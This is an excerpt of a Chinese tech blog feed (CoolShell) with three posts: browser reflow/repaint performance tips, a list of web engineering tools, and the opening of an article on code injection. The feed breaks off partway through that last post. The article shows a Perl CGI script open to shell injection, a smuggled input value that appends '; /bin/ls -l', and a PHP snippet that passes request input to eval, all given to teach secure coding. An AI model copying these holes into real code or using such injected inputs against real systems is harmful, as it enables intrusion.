<p><center><object width="480" height="400" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" align="middle"><param name="src" value="http://player.youku.com/player.php/sid/XMzI5MDg0OTA0/v.swf" /><param name="allowfullscreen" value="true" /><param name="quality" value="high" /><param name="allowscriptaccess" value="always" /><embed width="480" height="400" type="application/x-shockwave-flash" src="http://player.youku.com/player.php/sid/XMzI5MDg0OTA0/v.swf" allowfullscreen="true" quality="high" allowscriptaccess="always" align="middle" /></object></center>Reflow的成本比Repaint的成本高得多的多。DOM Tree里的每个结点都会有reflow方法，一个结点的reflow很有可能导致子结点，甚至父点以及同级结点的reflow。<strong>在一些高性能的电脑上也许还没什么，但是如果reflow发生在手机上，那么这个过程是非常痛苦和耗电的</strong>。</p>
<p>所以，下面这些动作有很大可能会是成本比较高的。</p>
<ul>
<li>当你增加、删除、修改DOM结点时，会导致Reflow或Repaint</li>
<li>当你移动DOM的位置，或是搞个动画的时候。</li>
<li>当你修改CSS样式的时候。</li>
<li>当你Resize窗口的时候（移动端没有这个问题），或是滚动的时候。</li>
<li>当你修改网页的默认字体时。</li>
</ul>
<p style="text-align: left;">注：display:none会触发reflow，而visibility:hidden只会触发repaint，因为没有发现位置变化。</p>
<p style="text-align: left;">多说两句关于滚屏的事，通常来说，如果在滚屏的时候，我们的页面上的所有的像素都会跟着滚动，那么性能上没什么问题，因为我们的显卡对于这种把全屏像素往上往下移的算法是很快。但是如果你有一个fixed的背景图，或是有些Element不跟着滚动，有些Elment是动画，那么这个滚动的动作对于浏览器来说会是相当相当痛苦的一个过程。你可以看到很多这样的网页在滚动的时候性能有多差。因为滚屏也有可能会造成reflow。</p>
<p style="text-align: left;">基本上来说，reflow有如下的几个原因：</p>
<ul>
<li>Initial。网页初始化的时候。</li>
<li>Incremental。一些Javascript在操作DOM Tree时。</li>
<li>Resize。其些元件的尺寸变了。</li>
<li>StyleChange。如果CSS的属性发生变化了。</li>
<li>Dirty。几个Incremental的reflow发生在同一个frame的子树上。</li>
</ul>
<p style="text-align: left;">好了，我们来看一个示例吧：</p>
<p>[javascript]var bstyle = document.body.style; // cache</p>
<p>bstyle.padding = &quot;20px&quot;; // reflow, repaint<br />
bstyle.border = &quot;10px solid red&quot;; //  再一次的 reflow 和 repaint</p>
<p>bstyle.color = &quot;blue&quot;; // repaint<br />
bstyle.backgroundColor = &quot;#fad&quot;; // repaint</p>
<p>bstyle.fontSize = &quot;2em&quot;; // reflow, repaint</p>
<p>// new DOM element &#8211; reflow, repaint<br />
document.body.appendChild(document.createTextNode(&#8216;dude!&#8217;));[/javascript]</p>
<p style="text-align: left;">当然，我们的浏览器是聪明的，它不会像上面那样，你每改一次样式，它就reflow或repaint一次。<strong>一般来说，浏览器会把这样的操作积攒一批，然后做一次reflow，这又叫异步reflow或增量异步reflow</strong>。但是有些情况浏览器是不会这么做的，比如：resize窗口，改变了页面默认的字体，等。对于这些操作，浏览器会马上进行reflow。</p>
<p style="text-align: left;">但是有些时候，我们的脚本会阻止浏览器这么干，比如：如果我们请求下面的一些DOM值：</p>
<ol>
<li>offsetTop, offsetLeft, offsetWidth, offsetHeight</li>
<li>scrollTop/Left/Width/Height</li>
<li>clientTop/Left/Width/Height</li>
<li>IE中的 getComputedStyle(), 或 currentStyle</li>
</ol>
<p style="text-align: left;">因为，如果我们的程序需要这些值，那么浏览器需要返回最新的值，而这样一样会flush出去一些样式的改变，从而造成频繁的reflow/repaint。</p>
<h4 style="text-align: left;">减少reflow/repaint</h4>
<p>下面是一些Best Practices：</p>
<p><strong>1）不要一条一条地修改DOM的样式。与其这样，还不如预先定义好css的class，然后修改DOM的className。</strong></p>
<p>[javascript]// bad<br />
var left = 10,<br />
top = 10;<br />
el.style.left = left + &quot;px&quot;;<br />
el.style.top  = top  + &quot;px&quot;;</p>
<p>// Good<br />
el.className += &quot; theclassname&quot;;</p>
<p>// Good<br />
el.style.cssText += &quot;; left: &quot; + left + &quot;px; top: &quot; + top + &quot;px;&quot;;[/javascript]</p>
<p><strong>2）把DOM离线后修改。如：</strong></p>
<ul>
<li>使用documentFragment 对象在内存里操作DOM</li>
<li>先把DOM给display:none(有一次reflow)，然后你想怎么改就怎么改。比如修改100次，然后再把他显示出来。</li>
<li>clone一个DOM结点到内存里，然后想怎么改就怎么改，改完后，和在线的那个的交换一下。</li>
</ul>
<p>3）<strong>不要把DOM结点的属性值放在一个循环里当成循环里的变量。</strong>不然这会导致大量地读写这个结点的属性。</p>
<p>4）<strong>尽可能的修改层级比较低的DOM</strong>。当然，改变层级比较底的DOM有可能会造成大面积的reflow，但是也可能影响范围很小。</p>
<p>5）<strong>为动画的HTML元件使用fixed或absoult的position</strong>，那么修改他们的CSS是不会reflow的。</p>
<p>6）<strong>千万不要使用table布局</strong>。因为可能很小的一个小改动会造成整个table的重新布局。</p>
<blockquote><p>In this manner, the user agent can begin to lay out the table once the entire first row has been received. Cells in subsequent rows do not affect column widths. Any cell that has content that overflows uses the ‘overflow’ property to determine whether to clip the overflow content.</p>
<p><cite><a href="http://www.w3.org/TR/CSS21/tables.html#fixed-table-layout">Fixed layout, CSS 2.1 Specification</a></cite></p></blockquote>
<blockquote><p>This algorithm may be inefficient since it requires the user agent to have access to all the content in the table before determining the final layout and may demand more than one pass.</p>
<p><cite><a href="http://www.w3.org/TR/CSS21/tables.html#auto-table-layout">Automatic layout, CSS 2.1 Specification</a></cite></p></blockquote>
<h4>几个工具和几篇文章</h4>
<p>有时候，你会也许会发现在IE下，你不知道你修改了什么东西，结果CPU一下子就上去了到100%，然后过了好几秒钟repaint/reflow才完成，这种事情以IE的年代时经常发生。所以，我们需要一些工具帮我们看看我们的代码里有没有什么不合适的东西。</p>
<ul>
<li>Chrome下，Google的<a href="http://code.google.com/webtoolkit/speedtracer/">SpeedTracer</a>是个非常强悍的工作让你看看你的浏览渲染的成本有多大。其实Safari和Chrome都可以使用开发者工具里的一个Timeline的东东。</li>
</ul>
<ul>
<li>Firefox下这个基于Firebug的叫<a href="https://addons.mozilla.org/en-US/firefox/addon/firebug-paint-events/" target="_blank">Firebug Paint Events</a>的插件也不错。</li>
</ul>
<ul>
<li>IE下你可以用一个叫<a href="http://ajax.dynatrace.com/pages/">dynaTrace</a>的IE扩展。</li>
</ul>
<p>最后，别忘了下面这几篇提高浏览器性能的文章：</p>
<ul>
<li><a href="http://code.google.com/speed/page-speed/docs/rules_intro.html">Google &#8211; Web Performance Best Practices</a></li>
<li><a href="http://developer.yahoo.com/performance/rules.html">Yahoo &#8211; Best Practices for Speeding Up Your Web Site</a></li>
<li><a href="http://stevesouders.com/hpws/rules.php">Steve Souders &#8211; 14 Rules for Faster-Loading Web Sites</a></li>
</ul>
<h4>参考</h4>
<ul>
<li>David Baron的演讲：Fast CSS: How Browsers Lay Out Web Pages：<a href="http://dbaron.org/talks/2012-03-11-sxsw/slide-1.xhtml" target="_blank">slideshow</a>, <a href="http://dbaron.org/talks/2012-03-11-sxsw/master.xhtml">all slides</a>, <a href="http://audio.sxsw.com/2012/podcasts/11-ACC-Fast_CSS_How_Browser_Layout.mp3">audio (MP3)</a>, <a href="http://schedule.sxsw.com/2012/events/event_IAP12909">Session page</a>, <a href="http://lanyrd.com/2012/sxsw-interactive/spmbt/">Lanyrd page</a></li>
</ul>
<ul>
<li>How Browsers Work: <a href="http://taligarsiel.com/Projects/howbrowserswork1.htm" target="_blank">http://taligarsiel.com/Projects/howbrowserswork1.htm</a></li>
</ul>
<ul>
<li>Mozilla 的 Style System Overview：<a href="https://developer.mozilla.org/en-US/docs/Style_System_Overview" target="_blank">https://developer.mozilla.org/en-US/docs/Style_System_Overview</a></li>
</ul>
<ul>
<li>Mozilla 的 Note of reflow： <a href="http://www-archive.mozilla.org/newlayout/doc/reflow.html" target="_blank">http://www-archive.mozilla.org/newlayout/doc/reflow.html</a></li>
</ul>
<ul>
<li>Rendering: repaint, reflow/relayout, restyle：<a href="http://www.phpied.com/rendering-repaint-reflowrelayout-restyle/" target="_blank">http://www.phpied.com/rendering-repaint-reflowrelayout-restyle/</a></li>
</ul>
<ul>
<li>Effective Rendering CSS：<a href="http://css-tricks.com/efficiently-rendering-css/" target="_blank">http://css-tricks.com/efficiently-rendering-css/</a></li>
</ul>
<ul>
<li><strong></strong>Webkit Rendering文档：<a href="http://trac.webkit.org/wiki/WebCoreRendering" target="_blank">http://trac.webkit.org/wiki/WebCoreRendering</a></li>
</ul>
<p><!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/3684.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg" alt="Web开发人员速查卡" width="150" height="150" /></a><a href="https://coolshell.cn/articles/3684.html" class="wp_rp_title">Web开发人员速查卡</a></li><li ><a href="https://coolshell.cn/articles/17634.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif" alt="Chrome开发者工具的小技巧" width="150" height="150" /></a><a href="https://coolshell.cn/articles/17634.html" class="wp_rp_title">Chrome开发者工具的小技巧</a></li><li ><a href="https://coolshell.cn/articles/9749.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2013/06/javascript-150x150.jpg" alt="Javascript 装载和执行" width="150" height="150" /></a><a href="https://coolshell.cn/articles/9749.html" class="wp_rp_title">Javascript 装载和执行</a></li><li ><a href="https://coolshell.cn/articles/6840.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts-150x150.gif" alt="CSS 布局:40个教程、技巧、例子和最佳实践" width="150" height="150" /></a><a href="https://coolshell.cn/articles/6840.html" class="wp_rp_title">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li ><a href="https://coolshell.cn/articles/6043.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg" alt="Web开发中需要了解的东西" width="150" height="150" /></a><a href="https://coolshell.cn/articles/6043.html" class="wp_rp_title">Web开发中需要了解的东西</a></li><li ><a href="https://coolshell.cn/articles/5537.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2011/11/stackparts.com_-150x150.png" alt="一些文章资源和趣闻" width="150" height="150" /></a><a href="https://coolshell.cn/articles/5537.html" class="wp_rp_title">一些文章资源和趣闻</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/9666.html">浏览器的渲染原理简介</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/9666.html/feed</wfw:commentRss>
			<slash:comments>155</slash:comments>
		
		<enclosure url="http://audio.sxsw.com/2012/podcasts/11-ACC-Fast_CSS_How_Browser_Layout.mp3" length="20902392" type="audio/mpeg" />

			</item>
		<item>
		<title>Web工程师的工具箱</title>
		<link>https://coolshell.cn/articles/8767.html</link>
					<comments>https://coolshell.cn/articles/8767.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Tue, 18 Dec 2012 16:04:43 +0000</pubDate>
				<category><![CDATA[Web开发]]></category>
		<category><![CDATA[杂项资源]]></category>
		<category><![CDATA[编程工具]]></category>
		<category><![CDATA[AutoTools]]></category>
		<category><![CDATA[HTTP]]></category>
		<category><![CDATA[http load]]></category>
		<category><![CDATA[test]]></category>
		<category><![CDATA[Web]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=8767</guid>

					<description><![CDATA[<p>本文出自Ivan Zuzak 的《The Web engineer&#8217;s online toolbox》，作者给了一个各种可以用来进行开发、测试、调试...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/8767.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/8767.html">Web工程师的工具箱</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script><img decoding="async" loading="lazy" class="alignright  wp-image-8771" alt="Web Toolbox" src="https://coolshell.cn/wp-content/uploads/2012/12/webtoolbox.jpg" width="318" height="196" srcset="https://coolshell.cn/wp-content/uploads/2012/12/webtoolbox.jpg 397w, https://coolshell.cn/wp-content/uploads/2012/12/webtoolbox-300x185.jpg 300w" sizes="(max-width: 318px) 100vw, 318px" />本文出自<a href="http://ivanzuzak.info/" target="_blank">Ivan Zuzak</a> 的《<a href="http://ivanzuzak.info/2012/11/18/the-web-engineers-online-toolbox.html" target="_blank">The Web engineer&#8217;s online toolbox</a>》，作者给了一个各种可以用来进行开发、测试、调试以及文档编排的在线工具集。（注：我发现CSDN上已经有了这篇文章《<a href="http://www.csdn.net/article/2012-11-19/2811992" target="_blank">Web工程师必备的18款工具</a>》，但可惜的是这篇文章并不全（原文后来被更新到了33个工具），而且其中并没有包括原文评论中出现的所有工具，所以，我一并补全了更出来，一共40多个工具）</p>
<h4><strong>Web工程师在线工具箱</strong></h4>
<ul>
<li><a href="http://requestb.in/" target="_blank"><strong>RequestBin</strong></a><strong>：</strong>允许你创建一个URL，利用这款工具进行收集请求，然后通过个性化方式进行检查。</li>
</ul>
<ul>
<li><a href="http://hurl.it/" target="_blank"><strong>Hurl</strong></a><strong>：</strong>发出HTTP请求，输入URL，设置标题，查看响应，最后分享给其他人。类似的工具有：<a href="http://resttesttest.com/" target="_blank">REST test test</a>, <a href="https://apigee.com/console/others" target="_blank">Apigee console</a>.。</li>
</ul>
<ul>
<li><a href="http://httpbin.org/" target="_blank"><strong>Httpbin</strong></a><strong>：</strong>HTTP请求&amp;响应服务，涵盖所有的HTTP方案（例如不同的HTTP verbs、状态代码和重定向）。类似工具：<a href="http://ivanzuzak.info/urlecho/">UrlEcho</a>。</li>
</ul>
<ul>
<li><a href="http://redbot.org/" target="_blank"><strong>REDbot</strong></a><strong>：</strong>这是一个机器人工具，帮助用户检查HTTP资源，可查看它的操作情况，指出常见的问题并提出改进。类似工具：<a href="http://zamez.org/httplint">HTTP lint</a>。</li>
</ul>
<ul>
<li><a href="http://webgun.io/" target="_blank"><strong>WebGun</strong></a><strong>：</strong>用于创建webhooks模板的API。类似工具：<a href="https://github.com/izuzak/urlreq">UrlReq</a>。</li>
</ul>
<ul>
<li><strong><a href="https://www.webscript.io/">Webscript</a> </strong> 自选一个url，填一段Lua代码，就能对访问做各种respond，还可以主动运行任务，cron job等等&#8230;</li>
</ul>
<p><span id="more-8767"></span></p>
<ul>
<li><strong><a href="http://www.clickhooks.com/">ClickHooks</a> </strong>这是一个短网址服务， 当用户访问了你的这个短网址跳转链接，服务器会通过HTTP POST的方式回调你的一个URL。这也是一种WebHooks方式。（陈皓注：所谓WebHooks，你可以理解为一种trigger，或是一种handler，比如当你你提交了代码，会调用某个URL链接以POST的方式告诉那个网站你提交了代码（如：发一个twitter 之类的，或是通知某个bug tracker系统））</li>
</ul>
<ul>
<li><strong><a href="http://mailhooks2.appspot.com/">MailHooks</a> </strong>让你可以通过HTTP POST方法收电子邮件（又叫WebHooks），你可以为你的一个邮件地址创建N多的hooks，当一个邮件收到了，可以把这个邮件以POST的方式发到你的某个URL上去。</li>
</ul>
<ul>
<li><strong><a href="http://a.quil.la/">Quilla</a> </strong>提供一个人们可以找到你的短网站服务，在那里，当人们提交到你的短网址上的请求会给你发邮件。好像是一种HTTP到SMTP的代理服务。</li>
</ul>
<ul>
<li><a href="http://apify.heroku.com/resources" target="_blank"><strong>Apify</strong></a><strong>：</strong>公开锁定在HTML文档没有任何API数据集。APIfy从结构标记中提取数据，并将其转换为JSON APIs。</li>
</ul>
<ul>
<li><a href="http://validator.w3.org/unicorn/" target="_blank"><strong>Unicorn</strong></a><strong>：</strong>W3C统一的验证程序，可在各种流行的HTML和CSS验证器中执行各种检查。类似工具：<a href="http://lint.brihten.com/html/">HTML lint</a>。</li>
</ul>
<ul>
<li><strong><a href="http://jsonlint.com/">JSONLint</a> </strong>JSON 格式验证程序</li>
</ul>
<ul>
<li><a href="http://validator.w3.org/feed/" target="_blank"><strong>Feed validator</strong></a><strong>：</strong>支持W3C验证，为RSS和ATOM提供阅读源。</li>
</ul>
<ul>
<li><a href="http://validator.w3.org/checklink" target="_blank"><strong>Link checker</strong></a><strong>：</strong>从网站中提取链接（递归）并确保没有链接被定义为两次（重复定义），所有的链接被引用并警告HTTP重新定向。</li>
</ul>
<ul>
<li><a href="http://www.host-tracker.com/" target="_blank"><strong>Host tracker</strong></a><strong>：</strong>通过分布式ping/跟踪检查、定期监测、邮件/SMS /IM通知和统计进行网站检测性服务。类似工具有：<a href="http://www.downforeveryoneorjustme.com/">Down for everyone or just me</a>, <a href="http://tools.pingdom.com/ping/">Pimgdom ping service</a></li>
</ul>
<ul>
<li><strong><a href="http://www.viewdns.info/">ViewDNS</a> </strong>一组 DNS 和网络工具，如：反向IP解析，DNS记录查询或traceroute之类的。</li>
</ul>
<ul>
<li><strong><a href="http://www.necrohost.com/">Necrohost</a>  </strong>一个URL列表来模拟不同网络链接的问题，如：响应慢，无法解析DNS，或是404什么的。</li>
</ul>
<ul>
<li><strong><a href="https://code.google.com/p/mirrorrr/">Mirrorrr</a>  </strong>一个可以用来镜像某网页的应用（经常被国人用来搞Web 代理来翻墙）。</li>
</ul>
<ul>
<li><strong><a href="http://certlogik.com/ssl-checker/">SSL Checker</a>  </strong>测试SSL认证</li>
</ul>
<ul>
<li><strong><a href="http://certlogik.com/decoder/">CSR/Cert decoder</a>  </strong>对你的CSR和SSL认证decode检查。</li>
</ul>
<ul>
<li><strong><a href="http://loadzen.com/">Loadzen</a>  </strong>Web压力测试工具（注：以前酷壳介绍过《<a href="https://coolshell.cn/articles/2589.html" target="_blank">十个Web压力测试工具</a>》）</li>
</ul>
<ul>
<li><a href="http://tools.pingdom.com/fpt/" target="_blank"><strong>Pingdom Full page test</strong></a><strong>：</strong>允许用户测试网页记载时间、分析、监控，发现瓶颈并导出HAR格式的结果。类似工具：<a href="http://www.webpagetest.org/">Web page test</a>。</li>
</ul>
<ul>
<li><strong><a href="https://developers.google.com/speed/pagespeed/insights">Google PageSpeed Insights</a> </strong>Analyzes the content of a web page, then generates suggestions to make that page faster.</li>
</ul>
<ul>
<li><a href="http://www.softwareishard.com/har/viewer/" target="_blank"><strong>HAR viewer</strong></a><strong>：</strong>通过 HTTP 追踪工具创建可视化的HTTP Archive (HAR)日志文件。</li>
</ul>
<ul>
<li><a href="http://www.corsproxy.com/" target="_blank"><strong>CORS proxy</strong></a><strong>：</strong>通常会由于相同的域而被阻止，而这款工具在网站上允许JavaScript代码访问其他域上的资源，</li>
</ul>
<ul>
<li><a href="https://browserling.com/" target="_blank"><strong>Browserling</strong></a><strong>：</strong>支持使用所有主要浏览器以及各种版本进行交互式跨浏览器测试。</li>
</ul>
<ul>
<li><a href="http://www.websocket.org/echo.html" target="_blank"><strong>WebSocket Echo Test</strong></a><strong>:</strong> 从浏览器定向到WebSocket echo服务器进行WebSocket连接测试。</li>
</ul>
<ul>
<li><a href="http://developer.yahoo.com/yql/" target="_blank"><strong>YQL</strong></a><strong>：</strong>极富表现力类似于SQL的语言，允许您查询、筛选和联接数据跨Web服务。</li>
</ul>
<ul>
<li><strong><a href="http://webshell.io/">Webshell</a> </strong>使用命令行脚本的方式来调用一些Web API。</li>
</ul>
<ul>
<li><a href="http://pipes.yahoo.com/pipes/" target="_blank"><strong>Yahoo Pipes</strong></a><strong>：</strong>一个图形化的用户界面，用于创建数据混搭，生成聚合Web源，Web页面和其他服务。</li>
</ul>
<ul>
<li><a href="http://apiary.io/" target="_blank"><strong>Apiary</strong></a><strong>：</strong>语言和工具用于生成REST API文档及进行交互式督查。类似工具：<a href="http://swagger.wordnik.com/">Swagger</a>。</li>
</ul>
<ul>
<li><strong><a href="http://jsfiddle.net/">JSFiddle</a>  </strong>一个在线的代码编辑可以让你编译一些HTML, CSS 和 JavaScript的东西，并演示之。相似工具: <a href="http://jsbin.com/">JSBin</a></li>
</ul>
<ul>
<li><a href="https://developers.google.com/feed/v1/jsondevguide">Google Feed API</a> 你可以使用这个API来查询有RSS Feed的网站 (<a href="http://ajax.googleapis.com/ajax/services/feed/lookup?v=1.0&amp;q=http://ivanzuzak.info/">example</a>)，或是搜索有RSS Feed(<a href="https://ajax.googleapis.com/ajax/services/feed/find?v=1.0&amp;q=ivan%20zuzak">example</a>) ，或是把JSON变成一个JSON返回 (<a href="https://ajax.googleapis.com/ajax/services/feed/load?v=1.0&amp;q=http://ivanzuzak.info/atom.xml">example</a>)</li>
</ul>
<h4>未在列表的工具</h4>
<ul>
<li><a href="http://www.fiddler2.com/fiddler2/">Fiddler</a> &#8212; 可能是最强大最好用的Web调试工具之一，它能记录所有客户端和服务器的http和https请求，允许你监视，设置断点，甚至修改输入输出数据. 使用Fiddler无论对开发还是测试来说，都有很大的帮助。.</li>
</ul>
<ul>
<li><a href="http://grids.heroku.com/">960 grid system generator</a> 和 <a href="http://meyerweb.com/eric/tools/css/reset/">CSS reset</a> &#8212; 两个关注于Web站点设计的工具。</li>
</ul>
<ul>
<li><a href="http://www.nuvolabase.com/site/index.html">NuvolaBase</a> &#8212; 一个可以共享个人私有数据的解决方案。正如作者所说，这不是一个开发工具。</li>
</ul>
<ul>
<li><a href="https://openexchangerates.org/">Open exchange rates</a> &#8212; 一个和汇率货币相关的JSON式的API。这样的API你可以到 <a href="http://www.programmableweb.com/">Programmable Web</a> 上查找。</li>
</ul>
<ul>
<li><a href="https://workflowy.com/">Workflowy</a>, <a href="http://www.lastcalc.com/">LastCalc</a>, <a href="http://codepad.org/">Codepad</a>, <a href="http://www.mailinator.com/">Mailinator</a> and <a href="http://10minutemail.com/">10MinuteMail</a>, <a href="https://onetimesecret.com/">One time secret</a> and <a href="http://copypastecharacter.com/">CopyPasteCharacter</a> &#8212; 这些App似乎和Web开发没什么关系。</li>
</ul>
<ul>
<li><a href="https://browsershots.org/">Browsershots</a> &#8212; 一个用来测试网页在不同平台下的工具。（参看）</li>
</ul>
<ul>
<li><a href="http://scriptular.com/">Scriptular</a> and <a href="http://rubular.com/">Rubular</a> &#8212; 正则表达式工具，这样的工具太多了，如： <a href="http://refiddle.com/">ReFiddle</a>, <a href="http://regexpal.com/">Regex pal</a> and <a href="http://www.txt2re.com/">Txt2Re</a>。</li>
</ul>
<p>（全文完）<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png" alt="如何免费的让网站启用HTTPS" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_title">如何免费的让网站启用HTTPS</a></li><li ><a href="https://coolshell.cn/articles/2589.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2010/07/get_more_web_traffic-150x150.jpg" alt="十个免费的Web压力测试工具" width="150" height="150" /></a><a href="https://coolshell.cn/articles/2589.html" class="wp_rp_title">十个免费的Web压力测试工具</a></li><li ><a href="https://coolshell.cn/articles/22173.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png" alt="“一把梭：REST API 全用 POST”" width="150" height="150" /></a><a href="https://coolshell.cn/articles/22173.html" class="wp_rp_title">“一把梭：REST API 全用 POST”</a></li><li ><a href="https://coolshell.cn/articles/19840.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg" alt="HTTP的前世今生" width="150" height="150" /></a><a href="https://coolshell.cn/articles/19840.html" class="wp_rp_title">HTTP的前世今生</a></li><li ><a href="https://coolshell.cn/articles/18360.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg" alt="程序员练级攻略（2018)  与我的专栏" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18360.html" class="wp_rp_title">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href="https://coolshell.cn/articles/17381.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2016/07/PerfTest-150x150.png" alt="性能测试应该怎么做？" width="150" height="150" /></a><a href="https://coolshell.cn/articles/17381.html" class="wp_rp_title">性能测试应该怎么做？</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/8767.html">Web工程师的工具箱</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/8767.html/feed</wfw:commentRss>
			<slash:comments>41</slash:comments>
		
		
			</item>
		<item>
		<title>程序员疫苗：代码注入</title>
		<link>https://coolshell.cn/articles/8711.html</link>
					<comments>https://coolshell.cn/articles/8711.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Mon, 10 Dec 2012 00:34:48 +0000</pubDate>
				<category><![CDATA[Web开发]]></category>
		<category><![CDATA[网络安全]]></category>
		<category><![CDATA[CRSF]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[安全]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=8711</guid>

					<description><![CDATA[<p>几个月在我的微博上说过要建一个程序员疫苗网站，希望大家一起来提交一些错误示例的代码，来帮助我们新入行的程序员，不要让我们的程序员一代又一代的再重复地犯一些错误。...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/8711.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/8711.html">程序员疫苗：代码注入</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script><img decoding="async" loading="lazy" class="alignright  wp-image-8730" title="程序员疫苗" src="https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710.jpg" alt="" width="245" height="206" srcset="https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710.jpg 350w, https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-300x252.jpg 300w, https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-321x270.jpg 321w" sizes="(max-width: 245px) 100vw, 245px" />几个月在<a href="http://weibo.com/haeol" target="_blank">我的微博</a>上说过要建一个程序员疫苗网站，希望大家一起来提交一些错误示例的代码，来帮助我们新入行的程序员，不要让我们的程序员一代又一代的再重复地犯一些错误。很多程序上错误就像人类世界的病毒一样，我们应该给我们的新入行的程序员注射一些疫苗，就像给新生儿打疫苗一样，希望程序员从入行时就对这些错误有抵抗力。</p>
<p>我的那个疫苗网站正在建议中（不好意思拖了很久），不过，我可以先写一些关于程序员疫苗性质的文章，也算是热热身。希望大家喜欢，先向大家介绍第一注疫苗——代码注入。</p>
<h4>Shell注入</h4>
<p>我们先来看一段perl的代码：</p>
<p>[perl]use CGI qw(:standard);<br />
$name = param(&#8216;name&#8217;);<br />
$nslookup = &quot;/path/to/nslookup&quot;;<br />
print header;<br />
if (open($fh, &quot;$nslookup $name|&quot;)) {<br />
    while (&lt;$fh&gt;) {<br />
        print escapeHTML($_);<br />
        print &quot;&lt;br&gt;\n&quot;;<br />
    }<br />
    close($fh);<br />
}[/perl]</p>
<p>如果用户输入的参数是：</p>
<p><code data-enlighter-language="shell" class="EnlighterJSRAW">coolshell.cn%20%3B%20/bin/ls%20-l</code></p>
<p>那么，这段perl的程序就成了：</p>
<p><span id="more-8711"></span></p>
<p><code data-enlighter-language="shell" class="EnlighterJSRAW">/path/to/nslookup coolshell.cn ; /bin/ls -l</code></p>
<p>我们再来看一段PHP的程序：</p>
<pre data-enlighter-language="php" class="EnlighterJSRAW">$myvar = &#039;somevalue&#039;;
$x = $_GET[&#039;arg&#039;];
eval(&#039;$myvar = &#039; . $x . &#039;;&#039;);</pre>
